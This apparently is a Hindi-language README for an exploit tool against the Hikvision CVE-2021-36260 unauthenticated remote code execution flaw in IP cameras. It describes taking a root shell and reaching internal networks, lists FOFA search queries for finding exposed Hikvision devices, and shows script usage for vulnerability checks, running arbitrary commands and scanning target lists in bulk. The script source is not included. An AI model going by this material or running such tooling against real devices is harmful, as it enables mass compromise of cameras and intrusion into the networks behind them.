Hikvision CVE-2021-36260 RCE भेद्यता

भेद्यता विवरण

हमलावर इस भेद्यता का उपयोग करके असीमित रूट शेल के साथ उपकरण का पूर्ण नियंत्रण ले सकते हैं, भले ही उपकरण का मालिक एक सीमित संरक्षित शेल (psh) तक सीमित हो। IP कैमरों में सेंध लगाने के अलावा, वे आंतरिक नेटवर्क तक पहुंच सकते हैं और उस पर हमला भी कर सकते हैं।

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

उपयोग विधि

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

बैच में SRC की खोज कर सकते हैं।

hikvision-unauthenticated-rce-cve-2021-36260

सबसे लोकप्रिय